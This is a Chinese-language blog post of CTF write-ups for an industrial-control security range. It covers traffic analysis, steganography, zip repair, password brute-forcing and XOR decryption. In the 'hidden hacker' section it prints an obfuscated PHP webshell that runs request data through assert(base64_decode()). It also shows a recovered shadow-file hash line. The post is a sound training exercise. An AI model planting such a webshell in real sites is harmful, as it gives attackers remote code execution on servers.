纵横网络靶场

本文最后更新于:2023年11月1日 晚上

[TOC]

0x01.Modbus协议

使用modbus过滤,选择长度最长的modbus协议数据包获得flag

image-20231005214721301

0x02.MMS协议分析

找到长度最长的数据包

image-20231005214442962

base64解码得到一张png图片,得到flag

0x03.大工UDP协议

过滤器:udp contains "flag"

image-20231006141033117

16进制解码一下就行

0x04.工控蜜罐日志分析

工控安全分析人员在互联网上部署了工控仿真蜜罐,通过蜜罐可抓取并分析互联网上针对工业资产的扫描行为,将存在高危扫描行为的IP加入防火墙黑名单可有效减少工业企业对于互联网的攻击面。

分析出日志中针对西门子私有通信协议扫描最多的IP,分析该扫描组织,Flag为该IP的域名,,flag形式为 flag{}。

首先查询西门子私有通信协议:

image-20231006144232371

s7协议,我们只需要写一个脚本就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding = utf-8 -*-
import re

f = open("honeypot.log", "r")

dic = {}
lst = []

for line in f.readlines():
line = line.replace("\n", "")
# print(line)
if "s7" in line.lower():
ip = re.findall(r"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", line) # ip正则
lst += ip # 列表可以使用+合并
f.close()

# print(lst)
for l in lst:
if not dic.get(l):
dic[l] = 1
else:
dic[l] += 1

sorted_dict = dict(sorted(dic.items(), key=lambda item: item[1],reverse=True)) # 根据值排序
print(sorted_dict)
image-20231006144421492

ip反查域名即可:https://www.dynu.com/zh-CN/NetworkTools/ReverseLookup

image-20231006144456234

0x05.隐信道数据安全分析

安全分析人员截获间谍发的秘密邮件,该邮件只有一个MP3文件,安全人员怀疑间谍通过某种private的方式将信息传递出去,尝试分析该文件,获取藏在文件中的数据?flag形式为 flag{}。

拿到一个MP3文件,无从下手,但是题目提示:private的方式将信息传递出去

说明信息藏在private中,我们010打开MP3视图->模板结果

image-20231006155022988

我们注意到private_bit都有一个值01

这些二进制组合起来就形成了flag,我们现在需要知道如何获取准确的位置

image-20231006155229817

首先观察到数据是从1C1B8开始的,16进制转为10进制就是115128字节

也就是struct MPEG_HEADER mpeg_hdr(4字节)的起始位置为115128字节,然后我们计算private_bit的起始字节。

这个块内的bit依次为:12+1+2+1+4+2+1+1,到了private_bit就刚好是第24个bit,也就是

第三个字节了,于是我们的private_bit的起始位置就是115130字节了

算出了起始位置之后我们需要知道每一个struct MPEG_FRAME mf的大小了

可以看到是414h,也就是1044字节大小

image-20231006160317142

知道这些就可以写脚本读出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding = utf-8 -*-

f = open("flag-woody.mp3", "rb")
n = 115130 # private_bit起始字节
data = ""
while n < 2000000:
f.seek(n, 0) # 将文件指针从0位置移动115130字节
n += 1044 # struct MPEG_FRAME mf 大小为1044Byte
private_bit = f.read(1) # 读出1个字节大小内容
bit = bin(ord(private_bit))[-1] # 先转为ascii码,再转为2进制,取最后1bit,即:private_bit
data += bit
# print(data)

for i in range(0, len(data), 8):
rel = int(data[i:i + 8], 2)
print(chr(rel), end="") # 将二进制转为字符
image-20231006154810258

0x06.工控安全取证

有黑客入侵工控设备后在内网发起了大量扫描,而且扫描次数不止一次。 请分析日志,指出对方第4次发起扫描时的数据包的编号,flag形式为 flag{}

首先我们需要将文件后缀改为pcap

image-20231006163150630

然后我们一般扫描都是先使用ping,即icmp协议,这里有四波扫描,第四波是从155987开始

image-20231006163014994

为什么flag是155989,因为前面两个ip主机号都是1、254

一般首位地址和末尾地址用于特殊设备使用,因此推测第四次扫描编号为155989

0x07.隐藏的黑客

根据情报得知工控现场发现某SCADA系统被黑客攻破,附件为黑客在目录留下的文件和当时时间段捕获到的一部分流量包,你能根据这些信息分析出蛛丝马迹来么flag形式为 flag{}。

找到zip文件

image-20231006190014704

切换成原始数据然后分离出zip

image-20231006190107104

打开发现需要密码,然后我们需要使用py脚本提取出upload文件夹中的密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding = utf-8 -*-
import os
import re

path = r"C:\Users\LIKE\Desktop\attachment_1579250492_upload\upload"
fpass = open(r"C:\Users\LIKE\Desktop\attachment_1579250492_upload\pass.txt", "w")
for filename in os.listdir(path):
file = os.path.join(path, filename)
f = open(file, "r")
content = f.read()
f.close()
try:
match = re.search(r"POST\[(.*)\]", content)
fpass.write(match.group(1)+"\n")
except:
pass

fpass.close()

字典爆破出密码:7b8b965ad4bca

image-20231006190305426

webshell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

error_reporting(0);

@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
@$count = 0;
for($x=0;$x<=9;$x++){
if (in_array($x, @$c)){
@$str=@$str.@$c[@$count];
if ($count == 2)
{
@$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));
}
@$count++;
}
}
?>

我们使用echo输出:

image-20231006190426357

base64解码得到flag

0x08.简单流量分析

不久前,运维人员在日常安全检查的时候发现现场某设备会不时向某不知名ip发出非正常的ICMP PING包。这引起了运维人员的注意,他在过滤出ICMP包分析并马上开始做应急处理很可能已被攻击的设备。运维人员到底发现了什么?flag形式为 flag{}

过滤所以ICMP请求包

image-20231030142033261

注意一下每个data base64后的长度,发现符合ascii码

image-20231030142131139

于是写脚本,先16进制转字符串后,计算长度,转为ascii码,再base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding = utf-8 -*-
import base64
import binascii

base64_char=""

f = open("data.txt", "r")
data = f.readlines()
for line in data:
line = line.strip()
length = int(len(binascii.unhexlify(line)))
base64_char += chr(length)

base64_char = base64.b64decode(base64_char)
print(base64_char)


b'::\\nmongodb:!:17843:0:99999:7:::\\nubuntu:$6$LhHRomTE$M7C4n84UcFLAG{xx2b8a_6mm64c_fsociety}::'

0x09.奇怪的文件

总共有三个部分:part1、2、3

part1

image-20231030171034022

part2

image-20231030171127928

part3

image-20231030171136904

简单看一下,发现3个文件都少了50 4B

然后我们使用010editor发现压缩包中没有文件,所以不能简单的拼起来

zip文件结构分析:https://goodapple.top/archives/700

image-20231030171952526

我们发现part1少了crc校验码

根据文章:

image-20231030172619177

part2中可以找到crc 34 47 56 50

image-20231030172212217

我们给part1加上50 4B 并修改crc

image-20231030172341064

同时我们发现part2中没有文件名称

于是我们找到part1中的文件名称:4B 65 79 56 69 73 75 61 6C 2E 6A 70 67 8D

image-20231030172846192

插入到part2中

image-20231030173047251

这样三个拼在一起就行了

然后zip加密,我们需要爆破密码:GyxXaq9

然后图片末尾藏了一个逆序的压缩包,我们需要再逆回来

1
2
3
4
5
6
7
f = open("C://Users/LIKE/Desktop/a.zip","rb")
f2 = open("C://Users/LIKE/Desktop/b.zip","wb")
data = f.read()
data = bytearray(data)

data.reverse()
f2.write(data)

得到enc.pycencrypted

使用:https://tool.lu/pyc/ py反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

import random
import base64
import sys

def KeyGenerate():
random.seed(10)
keyseed = ''
for i in range(12):
x = random.randint(32, 127)
keyseed += chr(x)

return base64.b64encode(keyseed.encode('utf-8')).decode('utf-8')


def enc(key, file):
count = 0
f = open(file, 'rb')
f1 = open('encrypted', 'wb')
for now in f:
for nowByte in now:
newByte = nowByte ^ ord(key[count % len(key)])
count += 1
f1.write(bytes([
newByte]))



if __name__ == '__main__':
key = KeyGenerate()
enc(key, sys.argv[1])

这里seed设置值为10,所以是伪随机,并且加密函数是异或,只要再异或一下就回去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

import random
import base64
import sys

def KeyGenerate():
random.seed(10)
keyseed = ''
for i in range(12):
x = random.randint(32, 127)
keyseed += chr(x)

return base64.b64encode(keyseed.encode('utf-8')).decode('utf-8')


def dec(key):
count = 0
f = open('encrypted', 'rb')
f1 = open('decrypted', 'wb')
for now in f:
for nowByte in now:
originalByte = nowByte ^ ord(key[count % len(key)])
count += 1
f1.write(bytes([originalByte]))




if __name__ == '__main__':
key = KeyGenerate()
dec(key)

解密后得到一张jpg照片,该图片有LSB隐写,但隐写信息加密

需要lsb密码爆破:U!lSb29

1
2
3
4
 ~/Desktop/misctools/clocked_pixel_lsb 
> python2 lsb.py extract decrypted.png 1.png 'U!lSb29'
[+] Image size: 254x156 pixels.
[+] Written extracted data to 1.png.

1

0x10.S7COMM协议分析

image-20231030191427213

s7comm按照长度排序,16进制转字符串

0x11.组态软件分析

image-20231101142841541

0x12.恶意软件后门分析


纵横网络靶场
https://leekosss.github.io/2023/10/05/纵横网络靶场/
作者
leekos
发布于
2023年10月5日
更新于
2023年11月1日
许可协议